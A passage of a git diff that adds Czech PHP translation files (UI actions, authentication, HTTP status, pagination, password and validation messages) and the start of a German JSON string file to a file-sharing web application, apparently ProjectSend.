'Procházet', + 'cancel' => 'zrušení', + 'choose' => 'Vybrat', + 'choose_file' => 'Vyberte soubor', + 'choose_image' => 'Vyberte Obrázek', + 'click_to_copy' => 'Kliknutím zkopírujete', + 'close' => 'Zavřít', + 'collapse' => 'Kolaps', + 'collapse_all' => 'Sbalit vše', + 'comment' => 'Komentář', + 'confirm' => 'Potvrdit', + 'connect' => 'Připojit', + 'create' => 'Vytvořit', + 'delete' => 'Vymazat', + 'detach' => 'Odpojit', + 'details' => 'Podrobnosti', + 'disable' => 'Zakázat', + 'discard' => 'Vyřadit', + 'done' => 'Hotovo', + 'down' => 'Dolů', + 'duplicate' => 'Duplikát', + 'edit' => 'Upravit', + 'enable' => 'Umožnit', + 'expand' => 'Rozšířit', + 'expand_all' => 'Rozšířit vše', + 'explanation' => 'Vysvětlení', + 'export' => 'Vývozní', + 'file' => 'Soubor', + 'files' => 'Soubory', + 'go_home' => 'Jdi domů', + 'hide' => 'Skrýt', + 'home' => 'Domov', + 'image' => 'obraz', + 'impersonate' => 'Zosobnit se', + 'impersonation' => 'Předstírání identity', + 'import' => 'Import', + 'introduction' => 'Úvod', + 'like' => 'Jako', + 'load' => 'Zatížení', + 'localize' => 'Lokalizovat', + 'log_in' => 'Přihlásit se', + 'log_out' => 'Odhlásit se', + 'named' => [ + 'add' => 'Přidejte :name', + 'choose' => 'Vyberte :name', + 'create' => 'Vytvořit :name', + 'delete' => 'Smazat :name', + 'duplicate' => 'Duplikát: jméno', + 'edit' => 'Upravit :name', + 'export' => 'Export :name', + 'hide' => 'Skrýt :name', + 'import' => 'Import :name', + 'new' => 'Nové :name', + 'restore' => 'Obnovit :name', + 'save' => 'Uložit :name', + 'search' => 'Hledat :name', + 'show' => 'Zobrazit :name', + 'update' => 'Aktualizace :name', + 'view' => 'Zobrazit :name', + ], + 'new' => 'Nový', + 'no' => 'Ne', + 'open' => 'OTEVŘENO', + 'open_website' => 'Otevřít na webu', + 'preview' => 'Náhled', + 'price' => 'Cena', + 'record' => 'Záznam', + 'restore' => 'Obnovit', + 'save' => 'Uložit', + 'save_and_close' => 'Uložit a zavřít', + 'save_and_return' => 'Uložit a vrátit', + 'search' => 'Vyhledávání', + 'select' => 'Vybrat', + 'select_all' => 'Vybrat vše', + 'send' => 'Poslat', + 'settings' => 'Nastavení', + 'show' => 'Ukázat', + 'show_all' => 'Ukázat vše', + 'sign_in' => 'Přihlásit se', + 'solve' => 'Řešit', + 'start' => 'Start', + 'stop' => 'Stop', + 'submit' => 'Předložit', + 'subscribe' => 'předplatit', + 'switch' => 'Přepínač', + 'switch_to_role' => 'Přepnout do role', + 'tag' => 'Štítek', + 'tags' => 'Tagy', + 'target_link' => [ + 'blank' => 'Otevřít v novém okně', + 'parent' => 'Otevřít v nadřazeném rámci', + 'self' => 'Otevřít v aktuálním okně', + 'top' => 'Otevřete v nejvyšším rámu', + ], + 'translate' => 'přeložit', + 'translate_it' => 'Přelož to', + 'unpack' => 'Rozbalit', + 'unsubscribe' => 'Odhlásit odběr', + 'up' => 'Nahoru', + 'update' => 'Aktualizace', + 'user' => 'Uživatel', + 'view' => 'Pohled', + 'yes' => 'Ano', +]; diff --git a/lang/cs/auth.php b/lang/cs/auth.php new file mode 100644 index 00000000..4df194b9 --- /dev/null +++ b/lang/cs/auth.php @@ -0,0 +1,9 @@ + 'Tyto přihlašovací údaje neodpovídají žádnému záznamu.', + 'password' => 'Heslo je nesprávné.', + 'throttle' => 'Příliš mnoho pokusů o přihlášení. Zkuste to prosím znovu za :seconds sekund.', +]; diff --git a/lang/cs/http-statuses.php b/lang/cs/http-statuses.php new file mode 100644 index 00000000..7a80098e --- /dev/null +++ b/lang/cs/http-statuses.php @@ -0,0 +1,84 @@ + 'Neznámá chyba', + '100' => 'Pokračovat', + '101' => 'Přepínací protokoly', + '102' => 'zpracovává se', + '200' => 'OK', + '201' => 'Vytvořeno', + '202' => 'Přijato', + '203' => 'Neautoritativní informace', + '204' => 'Žádný obsah', + '205' => 'Obnovit obsah', + '206' => 'Částečný obsah', + '207' => 'Vícestavové', + '208' => 'Již nahlášeno', + '226' => 'Jsem zvyklý', + '300' => 'Více možností', + '301' => 'Přesunuto natrvalo', + '302' => 'Nalezeno', + '303' => 'Viz Ostatní', + '304' => 'Nezměněno', + '305' => 'Použij proxy', + '307' => 'Dočasné přesměrování', + '308' => 'Trvalé přesměrování', + '400' => 'Špatný požadavek', + '401' => 'Neoprávněný', + '402' => 'platba vyžadována', + '403' => 'Zakázáno', + '404' => 'Nenalezeno', + '405' => 'metoda není povolena', + '406' => 'Nepřijatelné', + '407' => 'Je vyžadováno ověření proxy', + '408' => 'Zažádat o timeout', + '409' => 'Konflikt', + '410' => 'Pryč', + '411' => 'Požadovaná délka', + '412' => 'Předpoklad se nezdařil', + '413' => 'Příliš velké užitečné zatížení', + '414' => 'URI je příliš dlouhý', + '415' => 'Nepodporovaný typ média', + '416' => 'Rozsah není uspokojivý', + '417' => 'Očekávání se nezdařilo', + '418' => 'Jsem čajník', + '419' => 'Platnost relace vypršela', + '421' => 'Špatně směrovaný požadavek', + '422' => 'Nezpracovatelná entita', + '423' => 'Zamčeno', + '424' => 'Neúspěšná závislost', + '425' => 'Příliš brzy', + '426' => 'Je vyžadován upgrade', + '428' => 'Předpoklad Vyžadován', + '429' => 'Příliš mnoho požadavků', + '431' => 'Pole záhlaví požadavku jsou příliš velká', + '444' => 'Připojení uzavřeno bez odezvy', + '449' => 'Zkuste to znovu s', + '451' => 'Z právních důvodů nedostupné', + '499' => 'Klient uzavřený požadavek', + '500' => 'Interní chyba serveru', + '501' => 'Není implementováno', + '502' => 'Špatná brána', + '503' => 'údržbový mód', + '504' => 'Časový limit brány', + '505' => 'Verze HTTP není podporována', + '506' => 'Varianta také vyjednává', + '507' => 'Nedostatek úložiště', + '508' => 'Zjištěna smyčka', + '509' => 'Překročen limit šířky pásma', + '510' => 'Není rozšířeno', + '511' => 'Je vyžadováno síťové ověření', + '520' => 'Neznámá chyba', + '521' => 'Webový server nefunguje', + '522' => 'Připojení vypršelo', + '523' => 'Původ je nedosažitelný', + '524' => 'Došlo k vypršení časového limitu', + '525' => 'SSL Handshake se nezdařilo', + '526' => 'Neplatný certifikát SSL', + '527' => 'Chyba Railgun', + '598' => 'Chyba časového limitu čtení sítě', + '599' => 'Chyba vypršení časového limitu síťového připojení', + 'unknownError' => 'Neznámá chyba', +]; diff --git a/lang/cs/pagination.php b/lang/cs/pagination.php new file mode 100644 index 00000000..6d5822c2 --- /dev/null +++ b/lang/cs/pagination.php @@ -0,0 +1,8 @@ + 'další »', + 'previous' => '« předchozí', +]; diff --git a/lang/cs/passwords.php b/lang/cs/passwords.php new file mode 100644 index 00000000..a37a0866 --- /dev/null +++ b/lang/cs/passwords.php @@ -0,0 +1,11 @@ + 'Heslo bylo obnoveno!', + 'sent' => 'E-mail s instrukcemi k obnovení hesla byl odeslán!', + 'throttled' => 'Počkejte prosím a zkuste to znovu.', + 'token' => 'Klíč pro obnovu hesla je nesprávný.', + 'user' => 'Nepodařilo se najít uživatele s touto e-mailovou adresou.', +]; diff --git a/lang/cs/validation.php b/lang/cs/validation.php new file mode 100644 index 00000000..8e59d2bb --- /dev/null +++ b/lang/cs/validation.php @@ -0,0 +1,288 @@ + ':Attribute musí být přijat.', + 'accepted_if' => ':Attribute musí být přijato, když :other je :value.', + 'active_url' => ':Attribute není platnou URL adresou.', + 'after' => ':Attribute musí být datum po :date.', + 'after_or_equal' => ':Attribute musí být datum :date nebo pozdější.', + 'alpha' => ':Attribute může obsahovat pouze písmena.', + 'alpha_dash' => ':Attribute může obsahovat pouze písmena, číslice, pomlčky a podtržítka. České znaky (á, é, í, ó, ú, ů, ž, š, č, ř, ď, ť, ň) nejsou podporovány.', + 'alpha_num' => ':Attribute může obsahovat pouze písmena a číslice.', + 'any_of' => ':attribute pole je neplatné.', + 'array' => ':Attribute musí být pole.', + 'ascii' => 'Číslo :attribute musí obsahovat pouze jednobajtové alfanumerické znaky a symboly.', + 'before' => ':Attribute musí být datum před :date.', + 'before_or_equal' => 'Datum :attribute musí být před nebo rovno :date.', + 'between' => [ + 'array' => ':Attribute musí obsahovat nejméně :min a nesmí obsahovat více než :max prvků.', + 'file' => ':Attribute musí být větší než :min a menší než :max Kilobytů.', + 'numeric' => ':Attribute musí být hodnota mezi :min a :max.', + 'string' => ':Attribute musí být delší než :min a kratší než :max znaků.', + ], + 'boolean' => ':Attribute musí být true nebo false', + 'can' => 'Pole :attribute obsahuje neautorizovanou hodnotu.', + 'confirmed' => ':Attribute nesouhlasí.', + 'contains' => 'V poli :attribute chybí povinná hodnota.', + 'current_password' => 'Současné heslo není správné.', + 'date' => ':Attribute musí být platné datum.', + 'date_equals' => ':Attribute musí být datum shodné s :date.', + 'date_format' => ':Attribute není platný formát data podle :format.', + 'decimal' => ':Attribute musí mít :decimal desetinných míst.', + 'declined' => ':Attribute musí být odmítnuto.', + 'declined_if' => ':Attribute musí být odmítnuto, když :other je :value.', + 'different' => ':Attribute a :other se musí lišit.', + 'digits' => ':Attribute musí být :digits pozic dlouhé.', + 'digits_between' => ':Attribute musí být dlouhé nejméně :min a nejvíce :max pozic.', + 'dimensions' => ':Attribute má neplatné rozměry.', + 'distinct' => ':Attribute má duplicitní hodnotu.', + 'doesnt_contain' => 'Pole :attribute nesmí obsahovat žádný z následujících: :values.', + 'doesnt_end_with' => ':Attribute nemusí končit jedním z následujících: :values.', + 'doesnt_start_with' => 'Číslo :attribute nemusí začínat jedním z následujících: :values.', + 'email' => ':Attribute není platný formát.', + 'encoding' => 'Pole :attribute musí být zakódováno jako :encoding.', + 'ends_with' => ':Attribute musí končit jednou z následujících hodnot: :values', + 'enum' => 'Vybraná :attribute je neplatná.', + 'exists' => 'Zvolená hodnota pro :attribute není platná.', + 'extensions' => 'Pole :attribute musí mít jednu z následujících přípon: :values.', + 'file' => ':Attribute musí být soubor.', + 'filled' => ':Attribute musí být vyplněno.', + 'gt' => [ + 'array' => 'Pole :attribute musí mít více prvků než :value.', + 'file' => 'Velikost souboru :attribute musí být větší než :value kB.', + 'numeric' => ':Attribute musí být větší než :value.', + 'string' => 'Počet znaků :attribute musí být větší :value.', + ], + 'gte' => [ + 'array' => 'Pole :attribute musí mít :value prvků nebo více.', + 'file' => 'Velikost souboru :attribute musí být větší nebo rovno :value kB.', + 'numeric' => ':Attribute musí být větší nebo rovno :value.', + 'string' => 'Počet znaků :attribute musí být větší nebo rovno :value.', + ], + 'hex_color' => 'Pole :attribute musí mít platnou hexadecimální barvu.', + 'image' => ':Attribute musí být obrázek.', + 'in' => 'Zvolená hodnota pro :attribute je neplatná.', + 'in_array' => ':Attribute není obsažen v :other.', + 'in_array_keys' => ':attribute pole musí obsahovat alespoň jeden z následujících klíčů: :values.', + 'integer' => ':Attribute musí být celé číslo.', + 'ip' => ':Attribute musí být platnou IP adresou.', + 'ipv4' => ':Attribute musí být platná IPv4 adresa.', + 'ipv6' => ':Attribute musí být platná IPv6 adresa.', + 'json' => ':Attribute musí být platný JSON řetězec.', + 'list' => 'Pole :attribute musí být seznam.', + 'lowercase' => ':Attribute musí být malá písmena.', + 'lt' => [ + 'array' => ':Attribute by měl obsahovat méně než :value položek.', + 'file' => 'Velikost souboru :attribute musí být menší než :value kB.', + 'numeric' => ':Attribute musí být menší než :value.', + 'string' => ':Attribute musí obsahovat méně než :value znaků.', + ], + 'lte' => [ + 'array' => ':Attribute by měl obsahovat maximálně :value položek.', + 'file' => 'Velikost souboru :attribute musí být menší než :value kB.', + 'numeric' => ':Attribute musí být menší nebo rovno než :value.', + 'string' => ':Attribute nesmí být delší než :value znaků.', + ], + 'mac_address' => ':Attribute musí být platná adresa MAC.', + 'max' => [ + 'array' => ':Attribute nemůže obsahovat více než :max prvků.', + 'file' => 'Velikost souboru :attribute musí být menší než :max kB.', + 'numeric' => ':Attribute nemůže být větší než :max.', + 'string' => ':Attribute nemůže být delší než :max znaků.', + ], + 'max_digits' => 'Číslo :attribute nesmí mít více než :max číslic.', + 'mimes' => ':Attribute musí být jeden z následujících datových typů :values.', + 'mimetypes' => ':Attribute musí být jeden z následujících datových typů :values.', + 'min' => [ + 'array' => ':Attribute musí obsahovat více než :min prvků.', + 'file' => ':Attribute musí být větší než :min kB.', + 'numeric' => ':Attribute musí být větší než :min.', + 'string' => ':Attribute musí být delší než :min znaků.', + ], + 'min_digits' => 'Číslo :attribute musí mít alespoň :min číslic.', + 'missing' => 'Pole :attribute musí chybět.', + 'missing_if' => 'Pole :attribute musí chybět, když :other je :value.', + 'missing_unless' => 'Pole :attribute musí chybět, pokud :other není :value.', + 'missing_with' => 'Pokud je přítomno :values, pole :attribute musí chybět.', + 'missing_with_all' => 'Pokud je přítomno :values, pole :attribute musí chybět.', + 'multiple_of' => ':Attribute musí být násobkem :value', + 'not_in' => 'Zvolená hodnota pro :attribute je neplatná.', + 'not_regex' => ':Attribute musí být regulární výraz.', + 'numeric' => ':Attribute musí být číslo.', + 'password' => [ + 'letters' => ':Attribute musí obsahovat alespoň jedno písmeno.', + 'mixed' => 'Číslo :attribute musí obsahovat alespoň jedno velké a jedno malé písmeno.', + 'numbers' => ':Attribute musí obsahovat alespoň jedno číslo.', + 'symbols' => ':Attribute musí obsahovat alespoň jeden symbol.', + 'uncompromised' => 'Daných :attribute se objevilo v úniku dat. Vyberte prosím jiných :attribute.', + ], + 'present' => ':Attribute musí být vyplněno.', + 'present_if' => 'Pole :attribute musí být přítomno, když :other je :value.', + 'present_unless' => 'Pole :attribute musí být přítomno, pokud :other není :value.', + 'present_with' => 'Pole :attribute musí být přítomno, pokud je přítomno :values.', + 'present_with_all' => 'Pole :attribute musí být přítomno, pokud je přítomno :values.', + 'prohibited' => 'Pole :attribute je zakázáno.', + 'prohibited_if' => 'Pole :attribute je zakázáno, když je :other :value.', + 'prohibited_if_accepted' => 'Pole :attribute je zakázáno, když je přijato :other.', + 'prohibited_if_declined' => 'Pole :attribute je zakázáno, když je :other odmítnuto.', + 'prohibited_unless' => 'Pole :attribute je zakázáno, pokud :other není v :values.', + 'prohibits' => 'Pole :attribute zakazuje přítomnost :other.', + 'regex' => ':Attribute nemá správný formát.', + 'required' => ':Attribute musí být vyplněno.', + 'required_array_keys' => 'Pole :attribute musí obsahovat položky pro: :values.', + 'required_if' => ':Attribute musí být vyplněno pokud :other je :value.', + 'required_if_accepted' => 'Pole :attribute je povinné, pokud je přijato :other.', + 'required_if_declined' => 'Pole :attribute je povinné, když je :other odmítnuto.', + 'required_unless' => ':Attribute musí být vyplněno dokud :other je v :values.', + 'required_with' => ':Attribute musí být vyplněno pokud :values je vyplněno.', + 'required_with_all' => ':Attribute musí být vyplněno pokud :values je zvoleno.', + 'required_without' => ':Attribute musí být vyplněno pokud :values není vyplněno.', + 'required_without_all' => ':Attribute musí být vyplněno pokud není žádné z :values zvoleno.', + 'same' => ':Attribute a :other se musí shodovat.', + 'size' => [ + 'array' => ':Attribute musí obsahovat právě :size prvků.', + 'file' => ':Attribute musí mít přesně :size Kilobytů.', + 'numeric' => ':Attribute musí být přesně :size.', + 'string' => ':Attribute musí být přesně :size znaků dlouhý.', + ], + 'starts_with' => ':Attribute musí začínat jednou z následujících hodnot: :values', + 'string' => ':Attribute musí být řetězec znaků.', + 'timezone' => ':Attribute musí být platná časová zóna.', + 'ulid' => ':Attribute musí být platný ULID.', + 'unique' => ':Attribute musí být unikátní.', + 'uploaded' => 'Nahrávání :attribute se nezdařilo.', + 'uppercase' => ':Attribute musí být velká písmena.', + 'url' => 'Formát :attribute je neplatný.', + 'uuid' => ':Attribute musí být validní UUID.', + 'attributes' => [ + 'address' => 'adresa', + 'affiliate_url' => 'affiliate URL', + 'age' => 'stáří', + 'amount' => 'množství', + 'announcement' => 'oznámení', + 'area' => 'plocha', + 'audience_prize' => 'cena diváků', + 'audience_winner' => 'audience winner', + 'available' => 'dostupný', + 'birthday' => 'narozeniny', + 'body' => 'tělo', + 'city' => 'město', + 'color' => 'color', + 'company' => 'company', + 'compilation' => 'sestavení', + 'concept' => 'pojem', + 'conditions' => 'podmínky', + 'content' => 'obsah', + 'contest' => 'contest', + 'country' => 'země', + 'cover' => 'Pokrýt', + 'created_at' => 'vytvořeno v', + 'creator' => 'tvůrce', + 'currency' => 'měna', + 'current_password' => 'Aktuální heslo', + 'customer' => 'zákazník', + 'date' => 'datum', + 'date_of_birth' => 'datum narození', + 'dates' => 'Termíny', + 'day' => 'den', + 'deleted_at' => 'smazáno v', + 'description' => 'popis', + 'display_type' => 'typ displeje', + 'district' => 'okres', + 'duration' => 'doba trvání', + 'email' => 'e-mailem', + 'excerpt' => 'výňatek', + 'filter' => 'filtr', + 'finished_at' => 'skončil v', + 'first_name' => 'jméno', + 'gender' => 'Rod', + 'grand_prize' => 'hlavní cena', + 'group' => 'skupina', + 'hour' => 'hodina', + 'image' => 'obraz', + 'image_desktop' => 'obrázek na ploše', + 'image_main' => 'hlavní obrázek', + 'image_mobile' => 'mobilní obrázek', + 'images' => 'snímky', + 'is_audience_winner' => 'je divácký vítěz', + 'is_hidden' => 'je skrytý', + 'is_subscribed' => 'je přihlášený', + 'is_visible' => 'je vidět', + 'is_winner' => 'je vítěz', + 'items' => 'položky', + 'key' => 'klíč', + 'last_name' => 'příjmení', + 'lesson' => 'lekce', + 'line_address_1' => 'adresa řádku 1', + 'line_address_2' => 'adresa řádku 2', + 'login' => 'přihlásit se', + 'message' => 'zpráva', + 'middle_name' => 'prostřední jméno', + 'minute' => 'minuta', + 'mobile' => 'mobilní, pohybliví', + 'month' => 'Měsíc', + 'name' => 'název', + 'national_code' => 'národní kód', + 'number' => 'číslo', + 'password' => 'heslo', + 'password_confirmation' => 'Potvrzení hesla', + 'phone' => 'telefon', + 'photo' => 'fotografie', + 'portfolio' => 'portfolia', + 'postal_code' => 'poštovní směrovací číslo', + 'preview' => 'náhled', + 'price' => 'cena', + 'product_id' => 'ID produktu', + 'product_uid' => 'UID produktu', + 'product_uuid' => 'UUID produktu', + 'promo_code' => 'promo kód', + 'province' => 'provincie', + 'quantity' => 'Množství', + 'reason' => 'důvod', + 'recaptcha_response_field' => 'pole odpovědi recaptcha', + 'referee' => 'rozhodčí', + 'referees' => 'rozhodčí', + 'region' => 'region', + 'reject_reason' => 'odmítnout rozum', + 'remember' => 'pamatovat si', + 'restored_at' => 'obnoven v', + 'result_text_under_image' => 'výsledný text pod obrázkem', + 'role' => 'role', + 'rule' => 'pravidlo', + 'rules' => 'pravidla', + 'second' => 'druhý', + 'sex' => 'sex', + 'shipment' => 'náklad', + 'short_text' => 'krátký text', + 'size' => 'velikost', + 'skills' => 'dovednosti', + 'slug' => 'slimák', + 'specialization' => 'specializace', + 'started_at' => 'začalo v', + 'state' => 'Stát', + 'status' => 'postavení', + 'street' => 'ulice', + 'student' => 'student', + 'subject' => 'předmět', + 'tag' => 'štítek', + 'tags' => 'značky', + 'teacher' => 'učitel', + 'terms' => 'podmínky', + 'test_description' => 'popis testu', + 'test_locale' => 'testovací jazyk', + 'test_name' => 'název testu', + 'text' => 'text', + 'time' => 'čas', + 'title' => 'titul', + 'type' => 'typ', + 'updated_at' => 'aktualizováno na', + 'user' => 'uživatel', + 'username' => 'uživatelské jméno', + 'value' => 'hodnota', + 'winner' => 'winner', + 'work' => 'work', + 'year' => 'rok', + ], +]; diff --git a/lang/de.json b/lang/de.json new file mode 100644 index 00000000..cf6e3992 --- /dev/null +++ b/lang/de.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName hat \":itemName\" hochgeladen", + ":count accounts have this role": ":count Konten haben diese Rolle", + ":count awaiting approval": ":count warten auf Freigabe", + ":count downloads": ":count Downloads", + ":count file deleted.|:count files deleted.": ":count Datei gelöscht.|:count Dateien gelöscht.", + ":count file imported.|:count files imported.": ":count Datei importiert.|:count Dateien importiert.", + ":count files": ":count Dateien", + ":count folders": ":count Ordner", + ":count items have been shared with you": ":count Elemente wurden mit Ihnen geteilt", + ":count members": ":count Mitglieder", + ":count selected": ":count ausgewählt", + ":files files": ":files Dateien", + ":itemName was shared with you": ":itemName wurde mit Ihnen geteilt", + ":name will not be added to the group \":group\".": ":name wird der Gruppe \":group\" nicht hinzugefügt.", + ":total total": ":total insgesamt", + ":used / :limit downloads": ":used / :limit Downloads", + ":used MB of :quota MB used": ":used MB von :quota MB belegt", + ":used MB used, no limit": ":used MB belegt, kein Limit", + "(and :count more error)": "(und :count weiterer Fehler)", + "(and :count more errors)": "(und :count weiterer Fehler)|(und :count weitere Fehler)|(und :count weitere Fehler)", + "(deleted account)": "(gelöschtes Konto)", + "0 means unlimited.": "0 bedeutet unbegrenzt.", + "A client account request was approved": "Eine Kontoanfrage eines Kunden wurde genehmigt", + "A client account request was denied": "Eine Kontoanfrage eines Kunden wurde abgelehnt", + "A client left a group": "Ein Kunde hat eine Gruppe verlassen", + "A client registered an account": "Ein Kunde hat ein Konto registriert", + "A client requested to join a group": "Ein Kunde hat den Beitritt zu einer Gruppe angefragt", + "A client uploaded a file": "Ein Kunde hat eine Datei hochgeladen", + "A client was added to a group": "Ein Kunde wurde zu einer Gruppe hinzugefügt", + "A client was removed from a group": "Ein Kunde wurde aus einer Gruppe entfernt", + "A decryption key is required.": "Ein Entschlüsselungsschlüssel ist nötig.", + "A file assignment was removed": "Eine Dateizuweisung wurde aufgehoben", + "A file has been shared with you": "Eine Datei wurde mit Ihnen geteilt", + "A file or folder was shared with you": "Eine Datei oder ein Ordner wurde mit Ihnen geteilt", + "A file was assigned": "Eine Datei wurde zugewiesen", + "A file was deleted": "Eine Datei wurde gelöscht", + "A file was downloaded": "Eine Datei wurde heruntergeladen", + "A file was downloaded via a public link": "Eine Datei wurde über einen öffentlichen Link heruntergeladen", + "A file was downloaded via the public group listing": "Eine Datei wurde über das öffentliche Gruppenverzeichnis heruntergeladen", + "A file was updated": "Eine Datei wurde aktualisiert", + "A file was uploaded": "Eine Datei wurde hochgeladen", + "A folder cannot be moved into itself.": "Ein Ordner kann nicht in sich selbst verschoben werden.", + "A folder has been shared with you": "Ein Ordner wurde mit Ihnen geteilt", + "A folder was created": "Ein Ordner wurde erstellt", + "A folder was deleted": "Ein Ordner wurde gelöscht", + "A folder was moved": "Ein Ordner wurde verschoben", + "A folder was renamed": "Ein Ordner wurde umbenannt", + "A folder was shared": "Ein Ordner wurde geteilt", + "A folder was unshared": "Die Freigabe eines Ordners wurde aufgehoben", + "A group membership request was approved": "Eine Anfrage auf Gruppenmitgliedschaft wurde genehmigt", + "A group membership request was denied": "Eine Anfrage auf Gruppenmitgliedschaft wurde abgelehnt", + "A group membership was requested": "Eine Gruppenmitgliedschaft wurde angefragt", + "A group was created": "Eine Gruppe wurde erstellt", + "A group was deleted": "Eine Gruppe wurde gelöscht", + "A group was updated": "Eine Gruppe wurde aktualisiert", + "A new client account was created: :name (:email).": "Ein neues Kundenkonto wurde erstellt: :name (:email).", + "A new client has registered": "Ein neuer Kunde hat sich registriert", + "A new ProjectSend version is available": "Eine neue ProjectSend-Version ist verfügbar", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "Die Seite einer öffentlichen Gruppe ist immer über ihren eigenen Link erreichbar, sobald Sie sie als öffentlich markieren — dieser Abschnitt steuert nur die Basis-URL und ein optionales Verzeichnis, das alle öffentlichen Gruppen und Dateien auf einmal auflistet.", + "A public link was created": "Ein öffentlicher Link wurde erstellt", + "A public link was revoked": "Ein öffentlicher Link wurde widerrufen", + "A role was created": "Eine Rolle wurde erstellt", + "A role was deleted": "Eine Rolle wurde gelöscht", + "A role was updated": "Eine Rolle wurde aktualisiert", + "A Timeout Occurred": "Eine Zeitüberschreitung ist aufgetreten", + "About": "Über", + "Accept": "Akzeptieren", + "Accepted": "Akzeptiert", + "Account": "Konto", + "Account deletion grace period (days)": "Karenzzeit bis zur Kontolöschung (Tage)", + "Account is active": "Konto ist aktiv", + "Account Manager": "Kundenbetreuer", + "Account request approved.": "Kontoanfrage genehmigt.", + "Account request denied.": "Kontoanfrage abgelehnt.", + "Account requests": "Kontoanfragen", + "Account settings": "Kontoeinstellungen", + "Account type": "Kontotyp", + "Accounts": "Konten", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "Konten, die unter diese Vorgabe fallen, müssen die Zwei-Faktor-Authentifizierung einrichten, bevor sie die Anwendung weiter nutzen können.", + "Action": "Aktion", + "Actions": "Aktionen", + "Activate": "Aktivieren", + "Activated the account \":subject\"": "Hat das Konto \":subject\" aktiviert", + "Activating this account approves its pending request.": "Durch das Aktivieren dieses Kontos wird die offene Anfrage genehmigt.", + "Active": "Aktiv", + "Activity": "Aktivität", + "Activity log": "Aktivitätsprotokoll", + "Add": "Hinzufügen", + "Add :name": ":name hinzufügen", + "Add a category": "Kategorie hinzufügen", + "Add a client": "Kunden hinzufügen", + "Add a second step to your login using an authenticator app.": "Ergänzen Sie Ihre Anmeldung um einen zweiten Schritt mit einer Authenticator-App.", + "Add new clients to this group": "Neue Kunden zu dieser Gruppe hinzufügen", + "Added \":member\" to the group \":subject\"": "Hat \":member\" zur Gruppe \":subject\" hinzugefügt", + "Admin": "Administrator", + "Admin notification recipients": "Empfänger von Administrator-Benachrichtigungen", + "Admin: client uploaded a file": "Administrator: Kunde hat eine Datei hochgeladen", + "Admin: group membership requested": "Administrator: Gruppenmitgliedschaft angefragt", + "Admin: new client registered": "Administrator: neuer Kunde registriert", + "Administration": "Verwaltung", + "After uploading you can assign it to clients and groups": "Nach dem Hochladen können Sie sie Kunden und Gruppen zuweisen", + "Agree": "Zustimmen", + "All": "Alle", + "All actions": "Alle Aktionen", + "All categories": "Alle Kategorien", + "All clients": "Alle Kunden", + "All comments": "Alle Kommentare", + "All failed jobs deleted.": "Alle fehlgeschlagenen Aufträge wurden gelöscht.", + "All files": "Alle Dateien", + "All groups": "Alle Gruppen", + "All permissions": "Alle Berechtigungen", + "All rights reserved.": "Alle Rechte vorbehalten.", + "All roles": "Alle Rollen", + "All statuses": "Alle Status", + "All system users": "Alle Systembenutzer", + "All types": "Alle Typen", + "Already have an account?": "Sie haben bereits ein Konto?", + "Already Reported": "Bereits gemeldet", + "Always": "Immer", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "Für Sie wurde ein Konto erstellt. Sie können sich jetzt anmelden.", + "An account was activated": "Ein Konto wurde aktiviert", + "An account was created": "Ein Konto wurde erstellt", + "An account was deactivated": "Ein Konto wurde deaktiviert", + "An account was deleted": "Ein Konto wurde gelöscht", + "An account was permanently erased": "Ein Konto wurde endgültig gelöscht", + "An account was updated": "Ein Konto wurde aktualisiert", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "Ein Administrator, der ein Konto löscht, wird jedes Mal gefragt; die automatische Löschung selbst gelöschter Konten läuft unbeaufsichtigt und folgt dieser Auswahl, sodass nie etwas ohne Eigentümer zurückbleibt.", + "An administrator will review your group requests.": "Ein Administrator prüft Ihre Gruppenanfragen.", + "An orphan file was deleted": "Eine verwaiste Datei wurde gelöscht", + "An orphan file was imported": "Eine verwaiste Datei wurde importiert", + "An overview of this installation": "Ein Überblick über diese Installation", + "Any audience": "Beliebige Zielgruppe", + "Anyone": "Alle", + "Anyone using it will no longer be able to download the file.": "Wer ihn verwendet, kann die Datei nicht mehr herunterladen.", + "Appearance": "Darstellung", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "Gilt für die öffentlichen Gruppen- und Dateiseiten für Gäste sowie für das Kundenportal \"Meine Dateien\".", + "Apply filters": "Filter anwenden", + "Approve": "Genehmigen", + "Approve account requests": "Kontoanfragen genehmigen", + "Approve group membership requests": "Anfragen auf Gruppenmitgliedschaft genehmigen", + "Approved the account request of \":subject\"": "Hat die Kontoanfrage von \":subject\" genehmigt", + "Approved the membership of \":member\" to the group \":subject\"": "Hat die Mitgliedschaft von \":member\" in der Gruppe \":subject\" genehmigt", + "Archive": "Archiv", + "Are deleted along with the account": "Werden zusammen mit dem Konto gelöscht", + "Are reassigned to another account": "Werden einem anderen Konto zugewiesen", + "Are you sure you want to delete your account?": "Möchten Sie Ihr Konto wirklich löschen?", + "Assign": "Zuordnen", + "Assign categories to files": "Kategorien zu Dateien zuweisen", + "Assigned": "Zugewiesen", + "Assigned clients": "Zugewiesene Kunden", + "Assigned the file \":subject\" to :target": "Hat die Datei \":subject\" an :target zugewiesen", + "Associate": "Assoziieren", + "Attach": "Anhängen", + "Audience": "Zielgruppe", + "Authentication code": "Authentifizierungscode", + "Authentication requirements for this installation": "Authentifizierungsanforderungen für diese Installation", + "Author": "Autor", + "Available groups": "Verfügbare Gruppen", + "Available placeholders": "Verfügbare Platzhalter", + "Back to My files": "Zurück zu Meine Dateien", + "Bad Gateway": "Fehlerhaftes Gateway", + "Bad Request": "Ungültige Anfrage", + "Bandwidth Limit Exceeded": "Bandbreitenlimit überschritten", + "Blue": "Blau", + "Body": "Inhalt", + "Browse": "Durchsuchen", + "Browse publicly shared groups and files below.": "Durchsuchen Sie unten die öffentlich geteilten Gruppen und Dateien.", + "Built-in": "Integriert", + "Built-in role names cannot be changed.": "Namen integrierter Rollen können nicht geändert werden.", + "Built-in roles cannot be deleted.": "Integrierte Rollen können nicht gelöscht werden.", + "Call to action": "Handlungsaufforderung", + "Cancel": "Abbrechen", + "Categories": "Kategorien", + "Category": "Kategorie", + "Category created.": "Kategorie erstellt.", + "Category deleted.": "Kategorie gelöscht.", + "Category updated.": "Kategorie aktualisiert.", + "Changed their password": "Hat das Passwort geändert", + "Checkbox": "Kontrollkästchen", + "Checksum (SHA-256)": "Prüfsumme 